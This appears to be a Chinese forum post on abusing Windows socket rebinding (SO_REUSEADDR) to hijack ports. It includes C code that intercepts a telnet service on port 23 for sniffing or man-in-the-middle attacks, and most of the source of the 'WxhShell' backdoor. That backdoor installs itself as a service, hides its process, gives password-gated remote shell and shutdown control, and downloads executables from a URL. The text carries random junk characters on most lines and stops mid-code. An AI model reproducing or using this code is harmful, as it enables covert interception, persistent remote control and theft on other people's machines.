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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N^jr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R)%I9M,  
~_ko$(;A  
  saddr.sin_family = AF_INET; && WEBQ  
r`PD}6\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \_/dfmlIZ  
MFqb_q+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3*oZol/  
"}:SXAZ5`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :PB W=W  
4"Mq]_D  
  这意味着什么?意味着可以进行如下的攻击: LKst QP!I  
B8zc#0!1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ` bZgw  
e)|5 P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mEbj  
'NDr$Qc3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  r^,"OM]  
EHrr}&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KqXPxp^_Al  
8 LsJ}c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OOzXA%<%c  
BKu< p<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B%z+\<3^q  
l2kUa'O-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5PE}3he:  
u3IhB8'  
  #include RIFTF R  
  #include LPkl16yZ  
  #include ,m5tO  
  #include     Bm&6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M/YS%1  
  int main() (.kzJ\x  
  { HaQox.v%  
  WORD wVersionRequested; ]i8t  
  DWORD ret; .v['INK9  
  WSADATA wsaData; )%HIC@MM6  
  BOOL val; RT[ E$H  
  SOCKADDR_IN saddr; "MyMByomQ  
  SOCKADDR_IN scaddr; ;+lsNf  
  int err; VBK|*Tl  
  SOCKET s; V/yj.aA*@  
  SOCKET sc; Sea6xGdq  
  int caddsize; Nu+DVIM  
  HANDLE mt; z]!w@:  
  DWORD tid;   rf]x5%ij  
  wVersionRequested = MAKEWORD( 2, 2 ); rg I Z  
  err = WSAStartup( wVersionRequested, &wsaData ); <A&Zl&^1  
  if ( err != 0 ) { c;88Wb<|W  
  printf("error!WSAStartup failed!\n"); )<.y{_QUN  
  return -1; '-P+|bZW4  
  } dAi.^! !  
  saddr.sin_family = AF_INET; WLCr~r^  
   5X:3'*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 STz@^A  
Raf-I+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -f"{%<Q  
  saddr.sin_port = htons(23); /?*ut&hwv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &a'LOq+r'  
  { Twk<<  
  printf("error!socket failed!\n"); d1 lxz?r  
  return -1; e /L([  
  } HP:[aR!2P  
  val = TRUE; AL|3_+G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D{JwZL@7k2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C4gzg  
  { ~Jlq.S'  
  printf("error!setsockopt failed!\n"); Nf}i /  
  return -1; }Zfi/^0U  
  } L),bP fz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r"dR}S.Uf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *TPWLR ^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y /l~R7  
GF*uDJ Kp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9rT"_d#  
  { A| y U'k  
  ret=GetLastError(); \ !IEZ  
  printf("error!bind failed!\n"); 9G4os!x)  
  return -1; xp*d:  
  } IaO*{1re  
  listen(s,2); xsU3c0wbr8  
  while(1) Wl]XOUZ  
  { W?n/>DML  
  caddsize = sizeof(scaddr); M*aYcIU((  
  //接受连接请求 NosOd*S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )#sN#ZR$  
  if(sc!=INVALID_SOCKET) j3j^cO[8v  
  { {d> 6*b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cvYKZB  
  if(mt==NULL) :c(#03w*C  
  { 7t+H94KG7  
  printf("Thread Creat Failed!\n"); t;_1/ mt  
  break; (*\y  
  } LdnTdh?  
  } @@=,bO  
  CloseHandle(mt); TW=N+ye^1(  
  } {,= hIXo>  
  closesocket(s); _WI~b  
  WSACleanup(); ZHCrKp  
  return 0; iDYm4sY  
  }   ,q$2D,dz  
  DWORD WINAPI ClientThread(LPVOID lpParam) qos/pm$&i  
  { \\35} 9  
  SOCKET ss = (SOCKET)lpParam; X n Rm9%  
  SOCKET sc; ^MVOaV65  
  unsigned char buf[4096]; W9{y1,G9  
  SOCKADDR_IN saddr; m<!CF3g  
  long num; rw?wlBEG%  
  DWORD val; 8yM8O #S  
  DWORD ret; ?F~0\T,7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jH<,dG:{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L5CnPnF  
  saddr.sin_family = AF_INET; BL%3[JQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kRH D{6mol  
  saddr.sin_port = htons(23); bnV)f<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TJuS)AZ C  
  { /mwDVP<z /  
  printf("error!socket failed!\n"); S5~(3I )v  
  return -1; GqgJ]m  
  } e' |c59E  
  val = 100; 2hTsjJ!'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (A-Uo   
  { y|3!E>Up  
  ret = GetLastError(); Pt'=_^Io  
  return -1; 2L=(-CH9]  
  } !"'@c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #q8/=,3EG  
  { _,w*Rv5=  
  ret = GetLastError(); FPEab69  
  return -1; Z1wfy\9c8  
  } ;XXEvRk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Uh^j;s\y  
  { WL3J>S_  
  printf("error!socket connect failed!\n"); Y>K8^GS  
  closesocket(sc); nyOvB#f  
  closesocket(ss); ,.&D{ $1W  
  return -1; 3w! NTvp  
  } r$%,k*X^ k  
  while(1) mOFp!(  
  { Az/P;C=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k0xm-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @"m+9ZY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9xL` i-7]  
  num = recv(ss,buf,4096,0); 2-^ ['R  
  if(num>0) w7~&Xxa/  
  send(sc,buf,num,0); _HkQv6fXpE  
  else if(num==0) F0'8n6zj  
  break; lT'V=,Y t  
  num = recv(sc,buf,4096,0); f1U: _V^d  
  if(num>0) =-G4 BQ  
  send(ss,buf,num,0); Sf t,$  
  else if(num==0) ")w~pZE&+  
  break; AS lmW@/9v  
  } ~)5k%?.  
  closesocket(ss); sO)!}#,   
  closesocket(sc); zhU^~4F  
  return 0 ; g5 y*-t  
  } ^;@!\Rc  
vQ[ Tc V  
E%$[*jZ  
========================================================== ictOC F  
_;-b ZH  
下边附上一个代码,,WXhSHELL (dym*_J  
^L'<%_# .  
========================================================== u#0EZ2 >#  
j0S[JpoF  
#include "stdafx.h" ZOL#Q+U  
1c`Yn:H^  
#include <stdio.h> Ua+Us"M3}  
#include <string.h> >8injW3 52  
#include <windows.h>  8vUq8[[  
#include <winsock2.h> "p&4Sn3T2?  
#include <winsvc.h> Dj w#{WR  
#include <urlmon.h> 5=;'LWXCJ  
2F:X:f  
#pragma comment (lib, "Ws2_32.lib") z{qn|#}  
#pragma comment (lib, "urlmon.lib") GGFrV8  
Z FIgKWZ'  
#define MAX_USER   100 // 最大客户端连接数 7Ur'@wr  
#define BUF_SOCK   200 // sock buffer {tnhP^C3>  
#define KEY_BUFF   255 // 输入 buffer -i4hJC!3  
pFEU^]V3*  
#define REBOOT     0   // 重启 C0L(ti;  
#define SHUTDOWN   1   // 关机 yI's=Iu`  
l+?sR<e?!  
#define DEF_PORT   5000 // 监听端口 6Q`7>l.|?  
9A}nZ1Y  
#define REG_LEN     16   // 注册表键长度 83Fmu/(  
#define SVC_LEN     80   // NT服务名长度 d^`n/"Ice  
X&,a=#C^  
// 从dll定义API 5WI0[7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pwV{@h!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D+*_iM6[-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >n>gX/S<C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j7C&&G q  
g+=f=5I3  
// wxhshell配置信息 @T{I;8S  
struct WSCFG { 2X=*;r"{J  
  int ws_port;         // 监听端口 9tB:1n}  
  char ws_passstr[REG_LEN]; // 口令 'z Qp64]F  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y>K3.*.  
  char ws_regname[REG_LEN]; // 注册表键名 ;*e$k7}F  
  char ws_svcname[REG_LEN]; // 服务名 I0sw/,J/Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8FBXdk?A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $P Tl{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =`wnng5m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \Qz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M_\)<a(8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \p!mX|  
BR0P :h  
}; T2k# "zD  
TzsNhrU{  
// default Wxhshell configuration @34CaZ$k  
struct WSCFG wscfg={DEF_PORT, &P>a  
    "xuhuanlingzhe", R?l={N=Wf  
    1, YuzgR;Z  
    "Wxhshell", L%4Do*V&  
    "Wxhshell", Mj:=$}rs^  
            "WxhShell Service", RZI4N4o  
    "Wrsky Windows CmdShell Service", (M,*R v  
    "Please Input Your Password: ", .p\<niu7  
  1, C-VkXk  
  "http://www.wrsky.com/wxhshell.exe", }_cX" s  
  "Wxhshell.exe" .T7S1C $HP  
    }; wTVd){q`.  
-[>G@m:?e  
// 消息定义模块 5i&+.?(Z=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vv`,H~M6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K$~Ja  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XNB4KjT  
char *msg_ws_ext="\n\rExit."; <{A|Xs  
char *msg_ws_end="\n\rQuit."; UC?i>HsJrX  
char *msg_ws_boot="\n\rReboot..."; (k>I!Z/&2  
char *msg_ws_poff="\n\rShutdown..."; yA-UXKT  
char *msg_ws_down="\n\rSave to "; _<;westq  
 c|~f[  
char *msg_ws_err="\n\rErr!"; 8Sg :HU\  
char *msg_ws_ok="\n\rOK!"; WJw %[_W  
*Duxabo?  
char ExeFile[MAX_PATH]; -wn(J5NnR  
int nUser = 0; Xq.G vZS`  
HANDLE handles[MAX_USER]; Z$ Mc{  
int OsIsNt; Tg#%5~IX  
2ee((vO&  
SERVICE_STATUS       serviceStatus; ^+Stvj:N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t+ O7dZt%r  
sqk$q pV6  
// 函数声明 ,2^zX]dgM  
int Install(void); (ysDs[? \  
int Uninstall(void); |[ ,|S{  
int DownloadFile(char *sURL, SOCKET wsh); ~b SjZ1`  
int Boot(int flag); <}^l MBa  
void HideProc(void); G:?l;+P1  
int GetOsVer(void); V?+Y[Q  
int Wxhshell(SOCKET wsl); Z)H9D(Za  
void TalkWithClient(void *cs); [}=/?(5  
int CmdShell(SOCKET sock); rTLo6wI  
int StartFromService(void); i sV9nWo$  
int StartWxhshell(LPSTR lpCmdLine); 1M/_:UH`  
/*) =o+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hS:j$j e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $61*X f+*  
# >L^W7^  
// 数据结构和表定义 *heX[D &>)  
SERVICE_TABLE_ENTRY DispatchTable[] = FVS@z5A8<=  
{ >EIV`|b$h  
{wscfg.ws_svcname, NTServiceMain}, 9Y-6e0B:  
{NULL, NULL} RF.8zea{O`  
}; "ku ?A^f  
>Y[nU~w  
// 自我安装 'Gds?o8  
int Install(void) \H$j["3  
{ %4HpTx  
  char svExeFile[MAX_PATH]; V/i7Zh#2:  
  HKEY key; !Typ_Cs  
  strcpy(svExeFile,ExeFile); vaUUesytt  
0`l(c  
// 如果是win9x系统,修改注册表设为自启动 z2.ZxL"*  
if(!OsIsNt) { dzwto;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zWEt< `1M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4GTB82V$  
  RegCloseKey(key); q<*UeyE S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .f]2%utHB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yu] nK-Y7S  
  RegCloseKey(key); [X|KXlNfm  
  return 0; !^<%RT9@|  
    } } X[wWH  
  } h$eVhN &Vv  
} ia}V8i  
else { |qTS{qQh{L  
8q#Be1u<s2  
// 如果是NT以上系统,安装为系统服务 - Ado-'aaS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p-;I"uKv  
if (schSCManager!=0) 13 e @  
{ a)GT\1q  
  SC_HANDLE schService = CreateService .~Z@y#  
  ( L=."<,\  
  schSCManager, $*[-kIy  
  wscfg.ws_svcname, bp?4)C*R  
  wscfg.ws_svcdisp, 2Sg,b8  
  SERVICE_ALL_ACCESS, wth*H$iF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -v7O*xm"  
  SERVICE_AUTO_START, {]CO;5:  
  SERVICE_ERROR_NORMAL, Swg%[r=p=  
  svExeFile, D,J yb0BW  
  NULL, 4Sxt<7[f  
  NULL, woCFkO;'O  
  NULL, ^`XTs!.  
  NULL, RTR@p =ck  
  NULL )w3HC($g  
  ); 5L8)w5   
  if (schService!=0) -^%YrWgd?  
  { $"G=r(MW  
  CloseServiceHandle(schService); EZvf\s>LT  
  CloseServiceHandle(schSCManager); &;O)Dw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IrZ!.5%tV  
  strcat(svExeFile,wscfg.ws_svcname); P<WCW3!JZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *nh.&Mv|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zgh~P^Z  
  RegCloseKey(key); K9(Su`zr  
  return 0; ^sA"&Vdr^  
    } ,S7 g=(27(  
  } KDzTe9  
  CloseServiceHandle(schSCManager); YZH &KGY  
} R |h(SXa  
} BE]PM nI  
wkwsBi  
return 1; )+S^{tt  
} ~qxuD_  
"dO>P*k,  
// 自我卸载 Hkck=@>8H*  
int Uninstall(void) U F ]g6u  
{ XV> )[Nd\H  
  HKEY key; P<<hg3@  
NlnmeTLO5  
if(!OsIsNt) { Y uo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { atA:v3"  
  RegDeleteValue(key,wscfg.ws_regname); V!94I2%#x  
  RegCloseKey(key); <(U :v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :UgCP ~Y  
  RegDeleteValue(key,wscfg.ws_regname); #I(Ho:b  
  RegCloseKey(key); (;o/2Q?  
  return 0; *?GV(/Q  
  } T8ftBIOi  
} ^5yFb=2  
} Px<*n '~}  
else { zz 1e)W/  
xJ(4RaP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;^K4kK&f  
if (schSCManager!=0) Mmu>&C\  
{ 7u9!:}Tu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y79{v nlGk  
  if (schService!=0) X( H-U q*(  
  { =(x W7Pt~  
  if(DeleteService(schService)!=0) { z sZP\  
  CloseServiceHandle(schService); $stBB  
  CloseServiceHandle(schSCManager); hn bF}AD  
  return 0; C/{tvY /o  
  } eZ^-gk?  
  CloseServiceHandle(schService); J|z>5Z  
  } DWQ@]\  
  CloseServiceHandle(schSCManager); s}pn5zMp:8  
} >sL"HyY#H  
} `V1D &}H+G  
ATb[/=hP<R  
return 1; lB0: 4cIj  
} rfdT0xfcU  
@}{~Ofs  
// 从指定url下载文件 vQ/&iAyut  
int DownloadFile(char *sURL, SOCKET wsh) E4nj*Lp~+  
{ %j3 *j  
  HRESULT hr; 8=%%C:  
char seps[]= "/"; DgQw9`W A  
char *token; ARD&L$AX  
char *file; ^Cs5A0xo#s  
char myURL[MAX_PATH]; c9 UJ=  
char myFILE[MAX_PATH]; A $9^JF0$  
c8'! >#$  
strcpy(myURL,sURL); )OAd[u<  
  token=strtok(myURL,seps); M@n9i@UsO  
  while(token!=NULL) AJ*FQo.U  
  { AIR\>.~"i*  
    file=token; Q'ok%9q!p  
  token=strtok(NULL,seps); (\Qk XrK  
  } 0m|$ vb  
W\tSXM-Hg  
GetCurrentDirectory(MAX_PATH,myFILE); $1h,<$5H  
strcat(myFILE, "\\"); Y!8Ik(/~i  
strcat(myFILE, file); Q[+o\{ O  
  send(wsh,myFILE,strlen(myFILE),0); <3;Sq~^  
send(wsh,"...",3,0); ) DzbJ}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,c%>M^d  
  if(hr==S_OK) 7n1@m_7O  
return 0; )K4A-9pC  
else j(`L)/|O  
return 1; h7( R/Rf  
)@ /!B`  
} i5>]$j1/  
F|3 =Cl  
// 系统电源模块 U/e$.K3v  
int Boot(int flag) "1P>,\Sjg  
{ )rTV}Hk  
  HANDLE hToken; u49v,,WGw  
  TOKEN_PRIVILEGES tkp; eN/o}<(e  
se)vi;J7K  
  if(OsIsNt) { ctv=8SFv(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q)7iu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SYPG.O?I  
    tkp.PrivilegeCount = 1; e Akjpc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7n-;++a5]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zF6]2Y?k%  
if(flag==REBOOT) { R(?g+:eCpM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iY /N%T;  
  return 0; <23oyMR0  
} &gn^i!%Z)  
else { ~f[AEE~,s+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1Qi5t?{  
  return 0; ;_.%S*W\  
} !18M!8Xea  
  } [f'V pId8  
  else { :<    
if(flag==REBOOT) { ;'.[h*u~<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0u]!C"VX  
  return 0; _`/: gkZS  
} 'nOc_b0  
else { ltKUpRE\?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gg>O:np8  
  return 0; DA5kox&cU  
} Z\{"/( Hi  
} Ut;, Z  
`wJR^O!e  
return 1; 6]=R#d 7U  
} ,qS-T'[v,(  
Hoaf3 `n  
// win9x进程隐藏模块 ):@XMECa  
void HideProc(void) o<*H!oyP\  
{ m"{D}(TA  
CH6^;.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fa7I6 i  
  if ( hKernel != NULL ) Pd99vq/  
  { w&eX)!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vjy59m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yw|O,V<4N  
    FreeLibrary(hKernel); 3x=f}SO&  
  } <+1d'VQ2  
3|=9aM^x^  
return; n+Ia@ $|m  
} n M +(  
wic& $p/%  
// 获取操作系统版本 }n+#o!uEf  
int GetOsVer(void) 6]=$c<.&  
{ ^:.=S`,^  
  OSVERSIONINFO winfo; 35dbDgVz$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); no*p`a *  
  GetVersionEx(&winfo); :27GqY,3sK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5 ",@!1ju  
  return 1; }uJH!@j  
  else 7V6gT}R  
  return 0; RT2%)5s  
} /bE=]nM  
}H!l@  
// 客户端句柄模块 lKo07s6u  
int Wxhshell(SOCKET wsl) z\z mAus  
{ vJ__jO"Sq  
  SOCKET wsh; rkF]Q_'`t;  
  struct sockaddr_in client; dqU bJc]  
  DWORD myID; ?mdgY1  
a#iJXI  
  while(nUser<MAX_USER) 'eNcQJh  
{ Zrtyai{8l  
  int nSize=sizeof(client); y$=$Yc&Ub  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uqaP\  
  if(wsh==INVALID_SOCKET) return 1; F;5S2:a@Z  
g$c\(isY;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YQb43Sh`  
if(handles[nUser]==0) ;naD`([  
  closesocket(wsh); J. ;9-  
else :wn9bCom?M  
  nUser++; f%Y'7~9bA  
  } a?4'',~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nwu,:}T  
(^fiw%#  
  return 0; C]ev"Am_)  
} W 7k\j&x  
1+1Z]!nG#!  
// 关闭 socket _~?N3G  
void CloseIt(SOCKET wsh) C NDf&dzX8  
{ [89qg+z  
closesocket(wsh); K3QE>@']  
nUser--; D -Goi-4  
ExitThread(0); !,f{I5/  
} P&Vqr  
:x*|?zII  
// 客户端请求句柄 ^l}Esz`-M  
void TalkWithClient(void *cs) N=e-"8  
{ dg9 DBn#  
8lAs~c  
  SOCKET wsh=(SOCKET)cs; gOkq>i_  
  char pwd[SVC_LEN]; `N8?F3>  
  char cmd[KEY_BUFF]; C-Q]f  
char chr[1]; >7yOu!l  
int i,j; >syQDB  
NA5AR*f'  
  while (nUser < MAX_USER) { B3Id}[V  
Xr54/.{&@  
if(wscfg.ws_passstr) { fA HK<G4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f>LwsP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mJBvhK9%  
  //ZeroMemory(pwd,KEY_BUFF); s68&AB   
      i=0; %E\&9,  
  while(i<SVC_LEN) { L0\97AF  
0G-M.s}A  
  // 设置超时 Jx# r  
  fd_set FdRead; `Zn2Vx  
  struct timeval TimeOut; [ D[&aA  
  FD_ZERO(&FdRead); Z^AOV:|m  
  FD_SET(wsh,&FdRead); q.s2x0  
  TimeOut.tv_sec=8; ~f/nq/8  
  TimeOut.tv_usec=0; cVHv>nd#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =.q Zgcg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $is|B9B  
~&>|u5C*@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rj&V~or  
  pwd=chr[0]; g. V6:>,  
  if(chr[0]==0xd || chr[0]==0xa) { )sWC5\  
  pwd=0; FyZp,uD  
  break; dgb#PxOMH  
  } Ho3$T  
  i++; 'Xl[ y  
    } ,L iX  
de.!~%D  
  // 如果是非法用户,关闭 socket %kM|Hk3d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Ux5UD  
} m'|{AjH z6  
w Phs1rL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?nWK s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xHs8']*\  
y/!h.[  
while(1) { $tGk,.#j  
C]22 [v4  
  ZeroMemory(cmd,KEY_BUFF); f0S&_gt  
p&Usl.  
      // 自动支持客户端 telnet标准   NXQdyg,  
  j=0; y:TLGQ0  
  while(j<KEY_BUFF) { gwvy$H   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P'^#I[G'  
  cmd[j]=chr[0]; &"^,Ubfcn"  
  if(chr[0]==0xa || chr[0]==0xd) { m"MTw@}SJ;  
  cmd[j]=0; 9(.P2yO  
  break; 4~<  :Pj  
  } J1,\Q<  
  j++; 01md@4NQ  
    } ?n$;l-m[  
Vz$X0C=W;H  
  // 下载文件 [12^NEt  
  if(strstr(cmd,"http://")) { X@$x(Zc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %]/O0#E3Kz  
  if(DownloadFile(cmd,wsh)) &yFt@g]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~(2G7x)  
  else &"vh=Z-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `mU'{  
  } #!,tId  
  else { * A B  
J%ym1A9  
    switch(cmd[0]) { <mE)& 7C  
  - V Rby  
  // 帮助 t/? x#X  
  case '?': { VGLE5lP X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (h NSzG\  
    break; vi+k#KE  
  } 92}UP=RW!  
  // 安装 a0y7a/@c  
  case 'i': { >3HLm3T  
    if(Install()) 6 /T_+K.k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YN Lc )  
    else '5V2{k$4U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mz\d>0F U.  
    break; _KSYt32N  
    } N :E7rtT,M  
  // 卸载 h(aF>a\Z  
  case 'r': { KNtsz[#b  
    if(Uninstall()) nK*$P +[R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l@-J&qG  
    else OSc&n>\t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cnh\K.*}_x  
    break; u@v0I$  
    } PxENLQ3a=  
  // 显示 wxhshell 所在路径 IaDc hI  
  case 'p': { /6_>d $  
    char svExeFile[MAX_PATH]; F?]nPb|  
    strcpy(svExeFile,"\n\r"); ejYJOTT{^  
      strcat(svExeFile,ExeFile); sWp]Zy  
        send(wsh,svExeFile,strlen(svExeFile),0); _1w?nN'  
    break; o g.LD7&/  
    } /p| ]*={  
  // 重启 0m?v@K' l  
  case 'b': { Snx_NH#tA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /JPyADi  
    if(Boot(REBOOT)) RFyeA. N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~H9|CX  
    else { $_,?SXM  
    closesocket(wsh); q|)8VmVV  
    ExitThread(0); .Y.\D\>~  
    } "y@B|  
    break; W2Y%PD9a  
    } SJhcmx+  
  // 关机 [G{{f  
  case 'd': { [bH5UTA  
